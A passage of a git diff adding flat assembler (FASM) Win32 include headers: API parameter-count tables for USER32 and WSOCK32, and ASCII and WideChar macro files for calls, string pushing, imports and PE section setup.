+StrChr% = 2 +StrChrI% = 2 +StrCmpN% = 3 +StrCmpNI% = 3 +StrCpyN% = 3 +StrNCmp% = 3 +StrNCmpI% = 3 +StrNCpy% = 3 +StrRChr% = 3 +StrRChrI% = 3 +StrRStr% = 3 +StrRStrI% = 3 +StrStr% = 2 +StrStrI% = 2 +WOWShellExecute% = 7 diff --git a/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/USER32.INC b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/USER32.INC new file mode 100755 index 0000000..9ec154b --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/USER32.INC @@ -0,0 +1,477 @@ + +; USER32 API calls parameters' count + +ActivateKeyboardLayout% = 2 +AdjustWindowRect% = 3 +AdjustWindowRectEx% = 4 +AnimateWindow% = 3 +AnyPopup% = 0 +AppendMenu% = 4 +ArrangeIconicWindows% = 1 +AttachThreadInput% = 3 +BeginDeferWindowPos% = 1 +BeginPaint% = 2 +BlockInput% = 1 +BringWindowToTop% = 1 +BroadcastSystemMessage% = 5 +CallMsgFilter% = 2 +CallNextHookEx% = 4 +CallWindowProc% = 5 +CascadeChildWindows% = 2 +CascadeWindows% = 5 +ChangeClipboardChain% = 2 +ChangeDisplaySettings% = 2 +ChangeDisplaySettingsEx% = 5 +ChangeMenu% = 5 +CharLower% = 1 +CharLowerBuff% = 2 +CharNext% = 1 +CharNextEx% = 3 +CharPrev% = 2 +CharPrevEx% = 4 +CharToOem% = 2 +CharToOemBuff% = 3 +CharUpper% = 1 +CharUpperBuff% = 2 +CheckDlgButton% = 3 +CheckMenuItem% = 3 +CheckMenuRadioItem% = 5 +CheckRadioButton% = 4 +ChildWindowFromPoint% = 3 +ChildWindowFromPointEx% = 4 +ClientToScreen% = 2 +ClipCursor% = 1 +CloseClipboard% = 0 +CloseDesktop% = 1 +CloseWindow% = 1 +CloseWindowStation% = 1 +CopyAcceleratorTable% = 3 +CopyIcon% = 1 +CopyImage% = 5 +CopyRect% = 2 +CountClipboardFormats% = 0 +CreateAcceleratorTable% = 2 +CreateCaret% = 4 +CreateCursor% = 7 +CreateDesktop% = 6 +CreateDialogIndirectParam% = 5 +CreateDialogParam% = 5 +CreateIcon% = 7 +CreateIconFromResource% = 4 +CreateIconFromResourceEx% = 7 +CreateIconIndirect% = 1 +CreateMDIWindow% = 10 +CreateMenu% = 0 +CreatePopupMenu% = 0 +CreateWindowEx% = 12 +CreateWindowStation% = 4 +DdeAbandonTransaction% = 3 +DdeAccessData% = 2 +DdeAddData% = 4 +DdeClientTransaction% = 8 +DdeCmpStringHandles% = 2 +DdeConnect% = 4 +DdeConnectList% = 5 +DdeCreateDataHandle% = 7 +DdeCreateStringHandle% = 3 +DdeDisconnect% = 1 +DdeDisconnectList% = 1 +DdeEnableCallback% = 3 +DdeFreeDataHandle% = 1 +DdeFreeStringHandle% = 2 +DdeGetData% = 4 +DdeGetLastError% = 1 +DdeGetQualityOfService% = 3 +DdeImpersonateClient% = 1 +DdeInitialize% = 4 +DdeKeepStringHandle% = 2 +DdeNameService% = 4 +DdePostAdvise% = 3 +DdeQueryConvInfo% = 3 +DdeQueryNextServer% = 2 +DdeQueryString% = 5 +DdeReconnect% = 1 +DdeSetQualityOfService% = 3 +DdeSetUserHandle% = 3 +DdeUnaccessData% = 1 +DdeUninitialize% = 1 +DefDlgProc% = 4 +DefFrameProc% = 5 +DefMDIChildProc% = 4 +DefWindowProc% = 4 +DeferWindowPos% = 8 +DeleteMenu% = 3 +DestroyAcceleratorTable% = 1 +DestroyCaret% = 0 +DestroyCursor% = 1 +DestroyIcon% = 1 +DestroyMenu% = 1 +DestroyWindow% = 1 +DialogBoxIndirectParam% = 5 +DialogBoxParam% = 5 +DispatchMessage% = 1 +DlgDirList% = 5 +DlgDirListComboBox% = 5 +DlgDirSelectComboBoxEx% = 4 +DlgDirSelectEx% = 4 +DragDetect% = 3 +DragObject% = 5 +DrawAnimatedRects% = 4 +DrawCaption% = 4 +DrawEdge% = 4 +DrawFocusRect% = 2 +DrawFrame% = 4 +DrawFrameControl% = 4 +DrawIcon% = 4 +DrawIconEx% = 9 +DrawMenuBar% = 1 +DrawState% = 10 +DrawText% = 5 +DrawTextEx% = 6 +EditWndProc% = 4 +EmptyClipboard% = 0 +EnableMenuItem% = 3 +EnableScrollBar% = 3 +EnableWindow% = 2 +EndDeferWindowPos% = 1 +EndDialog% = 2 +EndMenu% = 0 +EndPaint% = 2 +EnumChildWindows% = 3 +EnumClipboardFormats% = 1 +EnumDesktopWindows% = 3 +EnumDesktops% = 3 +EnumDisplayMonitors% = 4 +EnumDisplaySettings% = 3 +EnumDisplaySettingsEx% = 4 +EnumProps% = 2 +EnumPropsEx% = 3 +EnumThreadWindows% = 3 +EnumWindowStations% = 2 +EnumWindows% = 2 +EqualRect% = 2 +ExcludeUpdateRgn% = 2 +ExitWindowsEx% = 2 +FillRect% = 3 +FindWindow% = 2 +FindWindowEx% = 4 +FlashWindow% = 2 +FrameRect% = 3 +FreeDDElParam% = 2 +GetActiveWindow% = 0 +GetAltTabInfo% = 5 +GetAncestor% = 2 +GetAsyncKeyState% = 1 +GetCapture% = 0 +GetCaretBlinkTime% = 0 +GetCaretPos% = 1 +GetClassInfo% = 3 +GetClassInfoEx% = 3 +GetClassLong% = 2 +GetClassName% = 3 +GetClassWord% = 2 +GetClientRect% = 2 +GetClipCursor% = 1 +GetClipboardData% = 1 +GetClipboardFormatName% = 3 +GetClipboardSequenceNumber% = 0 +GetClipboardViewer% = 0 +GetComboBoxInfo% = 2 +GetCursor% = 0 +GetCursorInfo% = 1 +GetCursorPos% = 1 +GetDC% = 1 +GetDCEx% = 3 +GetDesktopWindow% = 0 +GetDialogBaseUnits% = 0 +GetDlgCtrlID% = 1 +GetDlgItem% = 2 +GetDlgItemInt% = 4 +GetDlgItemText% = 4 +GetDoubleClickTime% = 0 +GetFocus% = 0 +GetForegroundWindow% = 0 +GetGUIThreadInfo% = 2 +GetGuiResources% = 2 +GetIconInfo% = 2 +GetInputDesktop% = 0 +GetInputState% = 0 +GetKBCodePage% = 0 +GetKeyNameText% = 3 +GetKeyState% = 1 +GetKeyboardLayout% = 1 +GetKeyboardLayoutList% = 2 +GetKeyboardLayoutName% = 1 +GetKeyboardState% = 1 +GetKeyboardType% = 1 +GetLastActivePopup% = 1 +GetLastInputInfo% = 1 +GetListBoxInfo% = 1 +GetMenu% = 1 +GetMenuBarInfo% = 4 +GetMenuCheckMarkDimensions% = 0 +GetMenuContextHelpId% = 1 +GetMenuDefaultItem% = 3 +GetMenuInfo% = 2 +GetMenuItemCount% = 1 +GetMenuItemID% = 2 +GetMenuItemInfo% = 4 +GetMenuItemRect% = 4 +GetMenuState% = 3 +GetMenuString% = 5 +GetMessage% = 4 +GetMessageExtraInfo% = 0 +GetMessagePos% = 0 +GetMessageTime% = 0 +GetMonitorInfo% = 2 +GetMouseMovePoints% = 5 +GetNextDlgGroupItem% = 3 +GetNextDlgTabItem% = 3 +GetOpenClipboardWindow% = 0 +GetParent% = 1 +GetPriorityClipboardFormat% = 2 +GetProcessWindowStation% = 0 +GetProp% = 2 +GetQueueStatus% = 1 +GetScrollBarInfo% = 3 +GetScrollInfo% = 3 +GetScrollPos% = 2 +GetScrollRange% = 4 +GetShellWindow% = 0 +GetSubMenu% = 2 +GetSysColor% = 1 +GetSysColorBrush% = 1 +GetSystemMenu% = 2 +GetSystemMetrics% = 1 +GetTabbedTextExtent% = 5 +GetThreadDesktop% = 1 +GetTitleBarInfo% = 2 +GetTopWindow% = 1 +GetUpdateRect% = 3 +GetUpdateRgn% = 3 +GetUserObjectInformation% = 5 +GetUserObjectSecurity% = 5 +GetWindow% = 2 +GetWindowContextHelpId% = 1 +GetWindowDC% = 1 +GetWindowInfo% = 2 +GetWindowLong% = 2 +GetWindowModuleFileName% = 3 +GetWindowPlacement% = 2 +GetWindowRect% = 2 +GetWindowRgn% = 2 +GetWindowText% = 3 +GetWindowTextLength% = 1 +GetWindowThreadProcessId% = 2 +GetWindowWord% = 2 +GrayString% = 9 +HideCaret% = 1 +HiliteMenuItem% = 4 +IMPGetIME% = 2 +IMPQueryIME% = 1 +IMPSetIME% = 2 +ImpersonateDdeClientWindow% = 2 +InSendMessage% = 0 +InSendMessageEx% = 1 +InflateRect% = 3 +InsertMenu% = 5 +InsertMenuItem% = 4 +IntersectRect% = 3 +InvalidateRect% = 3 +InvalidateRgn% = 3 +InvertRect% = 2 +IsCharAlpha% = 1 +IsCharAlphaNumeric% = 1 +IsCharLower% = 1 +IsCharUpper% = 1 +IsChild% = 2 +IsClipboardFormatAvailable% = 1 +IsDialogMessage% = 2 +IsDlgButtonChecked% = 2 +IsIconic% = 1 +IsMenu% = 1 +IsRectEmpty% = 1 +IsWindow% = 1 +IsWindowEnabled% = 1 +IsWindowUnicode% = 1 +IsWindowVisible% = 1 +IsZoomed% = 1 +KillSystemTimer% = 2 +KillTimer% = 2 +LoadAccelerators% = 2 +LoadBitmap% = 2 +LoadCursor% = 2 +LoadCursorFromFile% = 1 +LoadIcon% = 2 +LoadImage% = 6 +LoadKeyboardLayout% = 2 +LoadMenu% = 2 +LoadMenuIndirect% = 1 +LoadString% = 4 +LockWindowUpdate% = 1 +LockWorkStation% = 0 +LookupIconIdFromDirectory% = 2 +LookupIconIdFromDirectoryEx% = 5 +MapDialogRect% = 2 +MapVirtualKey% = 2 +MapVirtualKeyEx% = 3 +MapWindowPoints% = 4 +MenuItemFromPoint% = 4 +MessageBeep% = 1 +MessageBox% = 4 +MessageBoxEx% = 5 +MessageBoxIndirect% = 1 +ModifyMenu% = 5 +MonitorFromPoint% = 3 +MonitorFromRect% = 2 +MonitorFromWindow% = 2 +MoveWindow% = 6 +MsgWaitForMultipleObjects% = 5 +MsgWaitForMultipleObjectsEx% = 5 +NotifyWinEvent% = 4 +OemKeyScan% = 1 +OemToChar% = 2 +OemToCharBuff% = 3 +OffsetRect% = 3 +OpenClipboard% = 1 +OpenDesktop% = 4 +OpenIcon% = 1 +OpenInputDesktop% = 3 +OpenWindowStation% = 3 +PackDDElParam% = 3 +PaintDesktop% = 1 +PeekMessage% = 5 +PostMessage% = 4 +PostQuitMessage% = 1 +PostThreadMessage% = 4 +PtInRect% = 3 +RealChildWindowFromPoint% = 3 +RealGetWindowClass% = 3 +RedrawWindow% = 4 +RegisterClass% = 1 +RegisterClassEx% = 1 +RegisterClipboardFormat% = 1 +RegisterDeviceNotification% = 3 +RegisterHotKey% = 4 +RegisterWindowMessage% = 1 +ReleaseCapture% = 0 +ReleaseDC% = 2 +RemoveMenu% = 3 +RemoveProp% = 2 +ReplyMessage% = 1 +ReuseDDElParam% = 5 +ScreenToClient% = 2 +ScrollChildren% = 3 +ScrollDC% = 7 +ScrollWindow% = 5 +ScrollWindowEx% = 8 +SendDlgItemMessage% = 5 +SendIMEMessageEx% = 2 +SendInput% = 3 +SendMessage% = 4 +SendMessageCallback% = 6 +SendMessageTimeout% = 7 +SendNotifyMessage% = 4 +SetActiveWindow% = 1 +SetCapture% = 1 +SetCaretBlinkTime% = 1 +SetCaretPos% = 2 +SetClassLong% = 3 +SetClassWord% = 3 +SetClipboardData% = 2 +SetClipboardViewer% = 1 +SetCursor% = 1 +SetCursorPos% = 2 +SetDebugErrorLevel% = 1 +SetDeskWallpaper% = 1 +SetDlgItemInt% = 4 +SetDlgItemText% = 3 +SetDoubleClickTime% = 1 +SetFocus% = 1 +SetForegroundWindow% = 1 +SetKeyboardState% = 1 +SetLastErrorEx% = 2 +SetMenu% = 2 +SetMenuContextHelpId% = 2 +SetMenuDefaultItem% = 3 +SetMenuInfo% = 2 +SetMenuItemBitmaps% = 5 +SetMenuItemInfo% = 4 +SetMessageExtraInfo% = 1 +SetMessageQueue% = 1 +SetParent% = 2 +SetProcessWindowStation% = 1 +SetProp% = 3 +SetRect% = 5 +SetRectEmpty% = 1 +SetScrollInfo% = 4 +SetScrollPos% = 4 +SetScrollRange% = 5 +SetShellWindow% = 1 +SetSysColors% = 3 +SetSystemCursor% = 2 +SetSystemMenu% = 2 +SetSystemTimer% = 4 +SetThreadDesktop% = 1 +SetTimer% = 4 +SetUserObjectInformation% = 4 +SetUserObjectSecurity% = 3 +SetWinEventHook% = 7 +SetWindowContextHelpId% = 2 +SetWindowLong% = 3 +SetWindowPlacement% = 2 +SetWindowPos% = 7 +SetWindowRgn% = 3 +SetWindowText% = 2 +SetWindowWord% = 3 +SetWindowsHook% = 2 +SetWindowsHookEx% = 4 +ShowCaret% = 1 +ShowCursor% = 1 +ShowOwnedPopups% = 2 +ShowScrollBar% = 3 +ShowWindow% = 2 +ShowWindowAsync% = 2 +SubtractRect% = 3 +SwapMouseButton% = 1 +SwitchDesktop% = 1 +SystemParametersInfo% = 4 +TabbedTextOut% = 8 +TileChildWindows% = 2 +TileWindows% = 5 +ToAscii% = 5 +ToAsciiEx% = 6 +ToUnicode% = 6 +ToUnicodeEx% = 7 +TrackMouseEvent% = 1 +TrackPopupMenu% = 7 +TrackPopupMenuEx% = 6 +TranslateAccelerator% = 3 +TranslateMDISysAccel% = 2 +TranslateMessage% = 1 +UnhookWinEvent% = 1 +UnhookWindowsHook% = 2 +UnhookWindowsHookEx% = 1 +UnionRect% = 3 +UnloadKeyboardLayout% = 1 +UnpackDDElParam% = 4 +UnregisterClass% = 2 +UnregisterDeviceNotification% = 1 +UnregisterHotKey% = 2 +UpdateWindow% = 1 +UserHandleGrantAccess% = 2 +ValidateRect% = 2 +ValidateRgn% = 2 +VkKeyScan% = 1 +VkKeyScanEx% = 2 +WINNLSEnableIME% = 2 +WINNLSGetEnableStatus% = 1 +WINNLSGetIMEHotkey% = 1 +WaitForInputIdle% = 2 +WaitMessage% = 0 +WinHelp% = 4 +WindowFromDC% = 1 +WindowFromPoint% = 2 +keybd_event% = 4 +mouse_event% = 5 +wvsprintf% = 3 diff --git a/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/WSOCK32.INC b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/WSOCK32.INC new file mode 100755 index 0000000..55f5dd6 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/WSOCK32.INC @@ -0,0 +1,70 @@ + +; WSOCK32 API calls parameters' count + +AcceptEx% = 8 +EnumProtocols% = 3 +GetAcceptExSockaddrs% = 8 +GetAddressByName% = 10 +GetNameByType% = 3 +GetService% = 7 +GetTypeByName% = 2 +MigrateWinsockConfiguration% = 3 +NPLoadNameSpaces% = 3 +SetService% = 6 +TransmitFile% = 7 +WEP% = 0 +WSAAsyncGetHostByAddr% = 7 +WSAAsyncGetHostByName% = 5 +WSAAsyncGetProtoByName% = 5 +WSAAsyncGetProtoByNumber% = 5 +WSAAsyncGetServByName% = 6 +WSAAsyncGetServByPort% = 6 +WSACancelAsyncRequest% = 4 +WSACancelBlockingCall% = 0 +WSACleanup% = 0 +WSAGetLastError% = 0 +WSAIsBlocking% = 0 +WSARecvEx% = 4 +WSASetBlockingHook% = 1 +WSASetLastError% = 1 +WSAStartup% = 2 +WSAUnhookBlockingHook% = 0 +__WSAFDIsSet% = 2 +accept% = 3 +bind% = 3 +closesocket% = 1 +connect% = 3 +dn_expand% = 5 +gethostbyaddr% = 3 +gethostbyname% = 1 +gethostname% = 2 +getnetbyname% = 1 +getpeername% = 3 +getprotobyname% = 1 +getprotobynumber% = 1 +getservbyname% = 2 +getservbyport% = 2 +getsockname% = 3 +getsockopt% = 5 +htonl% = 1 +htons% = 1 +inet_addr% = 1 +inet_network% = 1 +inet_ntoa% = 1 +ioctlsocket% = 3 +listen% = 2 +ntohl% = 1 +ntohs% = 1 +rcmd% = 6 +recv% = 4 +recvfrom% = 6 +rexec% = 6 +rresvport% = 1 +s_perror% = 2 +select% = 5 +send% = 4 +sendto% = 6 +sethostname% = 2 +setsockopt% = 5 +shutdown% = 2 +socket% = 3 diff --git a/binary/hyperion/source/Fasm/INCLUDE/WIN32A.INC b/binary/hyperion/source/Fasm/INCLUDE/WIN32A.INC new file mode 100755 index 0000000..ca633e6 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/WIN32A.INC @@ -0,0 +1,25 @@ + +; Win32 programming headers (ASCII) + +include 'macro/struct.inc' +include 'macro/proc32.inc' +include 'macro/com32.inc' +include 'macro/import32.inc' +include 'macro/export.inc' +include 'macro/resource.inc' + +struc TCHAR [val] { common match any, val \{ . db val \} + match , val \{ . db ? \} } +sizeof.TCHAR = 1 + +include 'equates/kernel32.inc' +include 'equates/user32.inc' +include 'equates/gdi32.inc' +include 'equates/comctl32.inc' +include 'equates/comdlg32.inc' +include 'equates/shell32.inc' +include 'equates/wsock32.inc' + +macro api [name] { if used name + label name dword at name#A + end if } diff --git a/binary/hyperion/source/Fasm/INCLUDE/WIN32AX.INC b/binary/hyperion/source/Fasm/INCLUDE/WIN32AX.INC new file mode 100755 index 0000000..989f361 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/WIN32AX.INC @@ -0,0 +1,172 @@ + +; Extended Win32 programming headers (ASCII) + +include 'win32a.inc' + +include 'macro/if.inc' + +macro allow_nesting +{ macro pushd value + \{ match ,value \\{ + pushx equ \\} + match =pushx =invoke proc,pushx value \\{ + allow_nesting + invoke proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx =stdcall proc,pushx value \\{ + allow_nesting + stdcall proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx =cinvoke proc,pushx value \\{ + allow_nesting + cinvoke proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx =ccall proc,pushx value \\{ + allow_nesting + ccall proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx,pushx \\{ + pushd + pushx equ \\} + restore pushx \} + macro invoke proc,[arg] + \{ \reverse pushd + \common call [proc] \} + macro stdcall proc,[arg] + \{ \reverse pushd + \common call proc \} + macro cinvoke proc,[arg] + \{ \common \local size + size = 0 + if ~ arg eq + \reverse pushd + size = size+4 + match =double any,arg \\{ size = size+4 \\} + \common end if + call [proc] + if size + add esp,size + end if \} + macro ccall proc,[arg] + \{ \common \local size + size = 0 + if ~ arg eq + \reverse pushd + size = size+4 + match =double any,arg \\{ size = size+4 \\} + \common end if + call proc + if size + add esp,size + end if \} } + +macro pushd value +{ match first=,more, value \{ \local ..continue + call ..continue + db value,0 + ..continue: + pushd equ \} + match pushd =addr var,pushd value \{ \local ..opcode,..address + if +var relativeto 0 | +var relativeto $ + push var + else + lea edx,[var] + push edx + end if + pushd equ \} + match pushd =double [var],pushd value \{ + push dword [var+4] + push dword [var] + pushd equ \} + match pushd =double =ptr var,pushd value \{ + push dword [var+4] + push dword [var] + pushd equ \} + match pushd =double num,pushd value \{ \local ..high,..low + virtual at 0 + dq num + load ..low dword from 0 + load ..high dword from 4 + end virtual + push ..high + push ..low + pushd equ \} + match pushd,pushd \{ \local ..continue + if value eqtype '' + call ..continue + db value,0 + ..continue: + else + push value + end if + pushd equ \} + restore pushd } + +allow_nesting + +macro import lib,[functions] +{ common macro import_#lib \{ import lib,functions \} } + +macro api [functions] +{ common macro all_api \{ all_api + api functions \} } +macro all_api {} + +include 'api/kernel32.inc' +include 'api/user32.inc' +include 'api/gdi32.inc' +include 'api/advapi32.inc' +include 'api/comctl32.inc' +include 'api/comdlg32.inc' +include 'api/shell32.inc' +include 'api/wsock32.inc' + +purge import,api + +macro .data { section '.data' data readable writeable } + +macro .code { section '.text' code readable executable } + +macro .end label +{ + entry label + + section '.idata' import data readable writeable + + library kernel32,'KERNEL32.DLL',\ + user32,'USER32.DLL',\ + gdi32,'GDI32.DLL',\ + advapi32,'ADVAPI32.DLL',\ + comctl32,'COMCTL32.DLL',\ + comdlg32,'COMDLG32.DLL',\ + shell32,'SHELL32.DLL',\ + wsock32,'WSOCK32.DLL' + + import_kernel32 + import_user32 + import_gdi32 + import_advapi32 + import_comctl32 + import_comdlg32 + import_shell32 + import_wsock32 + + all_api +} + +virtual at 0 + xchg eax,eax + detected_16bit = $-1 +end virtual + +if detected_16bit + format PE GUI 4.0 +end if diff --git a/binary/hyperion/source/Fasm/INCLUDE/WIN32AXP.INC b/binary/hyperion/source/Fasm/INCLUDE/WIN32AXP.INC new file mode 100755 index 0000000..ff3c3c1 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/WIN32AXP.INC @@ -0,0 +1,199 @@ + +; Extended Win32 programming headers with parameters count checking (ASCII) + +include 'win32a.inc' + +include 'macro/if.inc' + +macro allow_nesting +{ macro pushd value + \{ match ,value \\{ + pushx equ \\} + match =pushx =invoke proc,pushx value \\{ + allow_nesting + invoke proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx =stdcall proc,pushx value \\{ + allow_nesting + stdcall proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx =cinvoke proc,pushx value \\{ + allow_nesting + cinvoke proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx =ccall proc,pushx value \\{ + allow_nesting + ccall proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx,pushx \\{ + pushd + pushx equ \\} + restore pushx \} + macro invoke proc,[arg] + \{ \common count@stdcall = 0 + if ~ arg eq + \forward count@stdcall = count@stdcall+1 + match =double value, arg \\{ count@stdcall = count@stdcall+1 \\} + \common end if + if proc eqtype 0 & defined proc \# % & count@stdcall <> proc \# % + display "Error: invalid count of parameters for ",\`proc,".",0Dh,0Ah + assert 0 + end if + \reverse pushd + \common call [proc] \} + macro stdcall proc,[arg] + \{ \common count@stdcall = 0 + if ~ arg eq + \forward count@stdcall = count@stdcall+1 + match =double value, arg \\{ count@stdcall = count@stdcall+1 \\} + \common end if + if proc eqtype 0 & defined proc \# % & count@stdcall <> proc \# % + display "Error: invalid count of parameters for ",\`proc,".",0Dh,0Ah + assert 0 + end if + \reverse pushd + \common call proc \} + macro cinvoke proc,[arg] + \{ \common \local size + size = 0 + if ~ arg eq + \reverse pushd + size = size+4 + match =double any,arg \\{ size = size+4 \\} + \common end if + call [proc] + if size + add esp,size + end if \} + macro ccall proc,[arg] + \{ \common \local size + size = 0 + if ~ arg eq + \reverse pushd + size = size+4 + match =double any,arg \\{ size = size+4 \\} + \common end if + call proc + if size + add esp,size + end if \} } + +macro pushd value +{ match first=,more, value \{ \local ..continue + call ..continue + db value,0 + ..continue: + pushd equ \} + match pushd =addr var,pushd value \{ \local ..opcode,..address + if +var relativeto 0 | +var relativeto $ + push var + else + lea edx,[var] + push edx + end if + pushd equ \} + match pushd =double [var],pushd value \{ + push dword [var+4] + push dword [var] + pushd equ \} + match pushd =double =ptr var,pushd value \{ + push dword [var+4] + push dword [var] + pushd equ \} + match pushd =double num,pushd value \{ \local ..high,..low + virtual at 0 + dq num + load ..low dword from 0 + load ..high dword from 4 + end virtual + push ..high + push ..low + pushd equ \} + match pushd,pushd \{ \local ..continue + if value eqtype '' + call ..continue + db value,0 + ..continue: + else + push value + end if + pushd equ \} + restore pushd } + +allow_nesting + +include 'pcount/kernel32.inc' +include 'pcount/user32.inc' +include 'pcount/gdi32.inc' +include 'pcount/advapi32.inc' +include 'pcount/comctl32.inc' +include 'pcount/comdlg32.inc' +include 'pcount/shell32.inc' +include 'pcount/wsock32.inc' + +macro import lib,[functions] +{ common macro import_#lib \{ import lib,functions \} } + +macro api [functions] +{ common macro all_api \{ all_api + api functions \} } +macro all_api {} + +include 'api/kernel32.inc' +include 'api/user32.inc' +include 'api/gdi32.inc' +include 'api/advapi32.inc' +include 'api/comctl32.inc' +include 'api/comdlg32.inc' +include 'api/shell32.inc' +include 'api/wsock32.inc' + +purge import,api + +macro .data { section '.data' data readable writeable } + +macro .code { section '.text' code readable executable } + +macro .end label +{ + entry label + + section '.idata' import data readable writeable + + library kernel32,'KERNEL32.DLL',\ + user32,'USER32.DLL',\ + gdi32,'GDI32.DLL',\ + advapi32,'ADVAPI32.DLL',\ + comctl32,'COMCTL32.DLL',\ + comdlg32,'COMDLG32.DLL',\ + shell32,'SHELL32.DLL',\ + wsock32,'WSOCK32.DLL' + + import_kernel32 + import_user32 + import_gdi32 + import_advapi32 + import_comctl32 + import_comdlg32 + import_shell32 + import_wsock32 + + all_api +} + +virtual at 0 + xchg eax,eax + detected_16bit = $-1 +end virtual + +if detected_16bit + format PE GUI 4.0 +end if diff --git a/binary/hyperion/source/Fasm/INCLUDE/WIN32W.INC b/binary/hyperion/source/Fasm/INCLUDE/WIN32W.INC new file mode 100755 index 0000000..ef423d4 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/WIN32W.INC @@ -0,0 +1,25 @@ + +; Win32 programming headers (WideChar) + +include 'macro/struct.inc' +include 'macro/proc32.inc' +include 'macro/com32.inc' +include 'macro/import32.inc' +include 'macro/export.inc' +include 'macro/resource.inc' + +struc TCHAR [val] { common match any, val \{ . du val \} + match , val \{ . du ? \} } +sizeof.TCHAR = 2 + +include 'equates/kernel32.inc' +include 'equates/user32.inc' +include 'equates/gdi32.inc' +include 'equates/comctl32.inc' +include 'equates/comdlg32.inc' +include 'equates/shell32.inc' +include 'equates/wsock32.inc' + +macro api [name] { if used name + label name dword at name#W + end if } diff --git a/binary/hyperion/source/Fasm/INCLUDE/WIN32WX.INC b/binary/hyperion/source/Fasm/INCLUDE/WIN32WX.INC new file mode 100755 index 0000000..2c74b53 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/WIN32WX.INC @@ -0,0 +1,174 @@ + +; Extended Win32 programming headers (WideChar) + +include 'win32w.inc' + +include 'macro/if.inc' + +macro allow_nesting +{ macro pushd value + \{ match ,value \\{ + pushx equ \\} + match =pushx =invoke proc,pushx value \\{ + allow_nesting + invoke proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx =stdcall proc,pushx value \\{ + allow_nesting + stdcall proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx =cinvoke proc,pushx value \\{ + allow_nesting + cinvoke proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx =ccall proc,pushx value \\{ + allow_nesting + ccall proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx,pushx \\{ + pushd + pushx equ \\} + restore pushx \} + macro invoke proc,[arg] + \{ \reverse pushd + \common call [proc] \} + macro stdcall proc,[arg] + \{ \reverse pushd + \common call proc \} + macro cinvoke proc,[arg] + \{ \common \local size + size = 0 + if ~ arg eq + \reverse pushd + size = size+4 + match =double any,arg \\{ size = size+4 \\} + \common end if + call [proc] + if size + add esp,size + end if \} + macro ccall proc,[arg] + \{ \common \local size + size = 0 + if ~ arg eq + \reverse pushd + size = size+4 + match =double any,arg \\{ size = size+4 \\} + \common end if + call proc + if size + add esp,size + end if \} } + +macro pushd value +{ match first=,more, value \{ \local ..continue + times 1 - (rva $ and 1) nop + call ..continue + du value,0 + ..continue: + pushd equ \} + match pushd =addr var,pushd value \{ \local ..opcode,..address + if +var relativeto 0 | +var relativeto $ + push var + else + lea edx,[var] + push edx + end if + pushd equ \} + match pushd =double [var],pushd value \{ + push dword [var+4] + push dword [var] + pushd equ \} + match pushd =double =ptr var,pushd value \{ + push dword [var+4] + push dword [var] + pushd equ \} + match pushd =double num,pushd value \{ \local ..high,..low + virtual at 0 + dq num + load ..low dword from 0 + load ..high dword from 4 + end virtual + push ..high + push ..low + pushd equ \} + match pushd,pushd \{ \local ..continue + if value eqtype '' + times 1 - (rva $ and 1) nop + call ..continue + du value,0 + ..continue: + else + push value + end if + pushd equ \} + restore pushd } + +allow_nesting + +macro import lib,[functions] +{ common macro import_#lib \{ import lib,functions \} } + +macro api [functions] +{ common macro all_api \{ all_api + api functions \} } +macro all_api {} + +include 'api/kernel32.inc' +include 'api/user32.inc' +include 'api/gdi32.inc' +include 'api/advapi32.inc' +include 'api/comctl32.inc' +include 'api/comdlg32.inc' +include 'api/shell32.inc' +include 'api/wsock32.inc' + +purge import,api + +macro .data { section '.data' data readable writeable } + +macro .code { section '.text' code readable executable } + +macro .end label +{ + entry label + + section '.idata' import data readable writeable + + library kernel32,'KERNEL32.DLL',\ + user32,'USER32.DLL',\ + gdi32,'GDI32.DLL',\ + advapi32,'ADVAPI32.DLL',\ + comctl32,'COMCTL32.DLL',\ + comdlg32,'COMDLG32.DLL',\ + shell32,'SHELL32.DLL',\ + wsock32,'WSOCK32.DLL' + + import_kernel32 + import_user32 + import_gdi32 + import_advapi32 + import_comctl32 + import_comdlg32 + import_shell32 + import_wsock32 + + all_api +} + +virtual at 0 + xchg eax,eax + detected_16bit = $-1 +end virtual + +if detected_16bit + format PE GUI 4.0 +end if diff --git a/binary/hyperion/source/Fasm/INCLUDE/WIN32WXP.INC b/binary/hyperion/source/Fasm/INCLUDE/WIN32WXP.INC new file mode 100755 index 0000000..f421cc2 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/WIN32WXP.INC @@ -0,0 +1,201 @@ + +; Extended Win32 programming headers with parameters count checking (WideChar) + +include 'win32w.inc' + +include 'macro/if.inc' + +macro allow_nesting +{ macro pushd value + \{ match ,value \\{ + pushx equ \\} + match =pushx =invoke proc,pushx value \\{ + allow_nesting + invoke proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx =stdcall proc,pushx value \\{ + allow_nesting + stdcall proc + purge pushd,invoke,stdcall,cinvoke,ccall + push eax + pushx equ \\} + match =pushx =cinvoke proc,pushx value \\{ + allow_nesting + cinvoke 